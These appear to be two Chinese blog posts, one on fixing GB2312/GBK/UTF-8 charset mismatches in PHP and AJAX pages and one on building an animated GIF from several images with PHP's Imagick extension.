后来查找得知,字符\u30fb是一种特殊的unicode字符,是一种不允许显示的字符,所以在GBK编码中就没有它的位置(by gashero)。而字符串"\xa1\xa4"使用GBK解码时得到的是\u00b7。

至此得知,虽然网页的默认编码是GB2312,但是实际上使用的是GBK编码,也使用了一些在GB2312和GBK之间不同的编码字符。所以也就导致了这个错误。

建议以后编程序的时候,遇到默认编码为GB2312的大可以直接使用GBK进行解码为unicode字符串。

明白了,我把所有有关字符集设置的地方都换成:GBK.这时通过FF的FireBug看到的请求参数正常了.问题解决了.

2.都有哪些地方要设置字符集呢?为什么要统一呢?

[原文中作者在此是引用他在csdn中的文字,我将他复制回来了,最后几段代码可看性不强,所以没有贴。。。http://blog.csdn.net/xiaofanku/archive/2008/06/25/2584856.aspx]

最近在学php,由于项目的需要!想在php中用ajax来完成一些体验(减少业务处理的单页压力).发现最近也有一位朋友为此苦恼不已.不废话了!
1.注意几个编码地方
1.1表单所在的网页的:meta
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

1.2XMLHTTPRequest GET的编码
httpRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
此处设置不对!responseText会返回empty(没有内容),如果您有FireFox并装有FireBug组件的话,点击状态栏的绿色箭头打开控件面板(非OS的,FireBug的),选中Console会看到Response选项是:
Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE) for operation '=
当然如果是连接数据库的话也可能跟下面的(1.4)有关系.

1.3ajax GET请求的页面(.php)header
header("Content-Type:text/html;charset=UTF-8");

1.4数据连接的编码
mysql_query("SET CHARACTER SET UTF8");

如果你的数据库是GBK的或其它的字符集,为了统一编码还要与以上三个统一起来.下面我的示例用的数据库也是GBK,从昨天开始我一起把它设成:
mysql_query("SET CHARACTER SET GBK");
可还是有时发现会返回空(empty 我用的是ResponseText),千万不要写成UTF-8噢,数据库的字符集是没有中间的"-"

2.如果还是返回空或无效的值

例如:a.html中有表单,a用XMLHTTPRequest和b.php通讯.
首先要保证b.php可以正确运行,例b.php?param=value打印出来的是你期望的值
如果a.html打印b.php返回的结果(ajax)与上面的(单独运行b.php)执行结果有出入.可以删除b.php中的空行试试!我想应该不会出现这种情况,但我有几次作demo删除后和删除前确实有出入

pengyuan xu:把几个任意格式的图片合成一个GIF动画的方法

一大早pengyuan就和我说了一些用多张图片合并成一个GIF的方案,他使用了我前段时间博客里提到的imagick的组件。

然后把代码贴给我看了一下。
这是他第一次的代码:

PHP代码
  1. <?php  
  2. $animation = new Imagick();  
  3. $animation->setFormat( "gif" );  
  4. for ($i=1; $i<4; $i++) {  
  5.     $thisimage = new Imagick();  
  6.     $thisimage->readImage($i.'.png');  
  7.     $thisimage->setImageFormat( "gif" );  
  8.     $animation->addImage($thisimage);  
  9.     $animation->setImageDelay(1000);  
  10. }  
  11. header( "Content-Type: image/gif" );  
  12. echo $animation->getImagesBlob();  

然后,他发现图片怎么也没有动,于是有了第二次的代码:

PHP代码
  1. <?php  
  2. $image=new Imagick();  
  3. $animation = new Imagick(); //建立一个对象。  
  4. $animation->setFormat( "gif" ); //设置它的类型。  
  5. $delay = 30; //设置播放速度。  
  6.   
  7. for ($i=1; $i<4; $i++) {  
  8.     $thisimage = new Imagick();  
  9.     $thisimage->readImage($i.'.jpg'); //我有三个图片分别叫:1.jpg,2.jpg,3.jpg 就是要合成他们三个。  
  10.     $thisimage->setFormat( "gif" ); //把他们都转成GIF格式。  
  11.     $animation->addImage($thisimage); //加入到刚才建立的那个gif imagick对象之中。  
  12.     $animation->setImageDelay( $delay ); //设置好播放速度。  
  13. }  
  14.   
  15. header( "Content-Type: image/gif" );  
  16. $animation->writeImages("9.gif",true); //文件存储。  

在这样的情况下,他发现GIF图片可以动了。看来保存成功了。

根据他写的代码,我作了一个小小的测试:

PHP代码
  1. <?php  
  2. $filelist = array(  
  3.     '1.jpg',  
  4.     '2.jpg',  
  5.     '3.jpg'  
  6. );  
  7.   
  8. $animation = new Imagick(); //create animation object  
  9. $animation->setFormat('gif'); // set file type  
  10.   
  11. foreach ( $filelist as $file ){  
  12.     $image = new Imagick();  
  13.     $image->readImage( $file );  
  14.     $animation->addImage( $image );  
  15.     $animation->setImageDelay(60);    
  16.     unset( $image );  
  17. }  
  18. header( "Content-Type: image/gif" );   
  19. echo$animation->getImagesBlob() );  
  20. //$animation->writeImages( time().".gif" ,true );  

代码几乎没变,除了在readImage行下面那个setFormat函数去掉了。同样生成了GIF图片,现在我把问题和解决情况和大家说一下,也希望大家少走点弯路吧

1、在animation里设置好setFormat为gif后,其他地方可以不需要设,因为最终都是通过 $animation->addImage 进入载入图片的,所以载进来肯定是GIF了
2、$animation->setImageDelay( 60 ) ,这个设置帧数的设定只能在每次AddImage后才能设定,否则会报错:没有加载图片时不能设定帧数
3、$animation->writeImages函数,不能使用writeImage,因为是多帧的,它会认为是多张图片
4、至于为什么在使用header设定文件头和echo 输出后图片没有动,我目前怀疑这是浏览器的设定关系,因为,你右键点击生成的图片另存下来时,图片是可以正常的跳动的。

解决完毕。感谢pengyuan的代码

Tags: imagick, gif